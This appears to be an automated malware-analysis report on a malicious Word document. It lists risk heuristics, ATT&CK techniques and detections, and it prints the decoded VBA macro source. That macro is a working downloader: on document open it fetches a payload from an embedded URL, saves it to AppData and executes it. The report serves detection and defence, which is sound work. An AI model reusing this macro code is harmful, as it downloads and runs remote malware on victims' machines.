MALICIOUS
322
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1140 Deobfuscate/Decode Files or Information
T1071.001 Web Protocols
The sample contains VBA macros, including a Document_Open macro that uses CreateObject and CallByName to execute code. The macro attempts to download a payload from the URL 'https://www.officemsbox365.com/addon' and save it to the AppData directory as 'UserForm1.Label3'. It then executes this downloaded payload using Shell.Application. The embedded URL and the VBA execution techniques strongly indicate a downloader malware.
Heuristics 9
-
ClamAV: Doc.Downloader.Olemal-6668035-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Olemal-6668035-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
CallByName call high OLE_VBA_CALLBYNAMECallByName call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://www.officemsbox365.com/addon In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1375 bytes |
SHA-256: 160bad445ee460541f1c280043515d84562809c15dfca320b25862e697c618d7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Document_Open()
Dim msOfficeOnlineLeague: Set msOfficeOnlineLeague = CreateObject(UserForm1.Tag)
Dim ck1s: Set ck1s = CreateObject("Adodb.Stream")
msOfficeOnlineLeague.Open "GET", UserForm1.Frame1.Tag, False
msOfficeOnlineLeague.Send
Dim pest
pest = UserForm1.ToggleButton1.Tag + UserForm1.ToggleButton2.Tag
With ck1s
.Type = 1
.Open
End With
With ck1s
.write msOfficeOnlineLeague.responseBody
End With
Const ssfAPPDATA = &H1A
Dim oApp
Set oApp = CreateObject("Shell" & ".Application")
Dim sermach
sermach = oApp.NameSpace(ssfAPPDATA).Self.Path
CallByName ck1s, pest, _
VbMethod, sermach & "\" + UserForm1.Label3, 2
Shell (sermach & "\" + UserForm1.Label3)
End Sub
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{0288557E-6361-45DE-9EEF-5CB448330AD4}{DE806259-3A8C-485A-9784-D7D984BED31C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.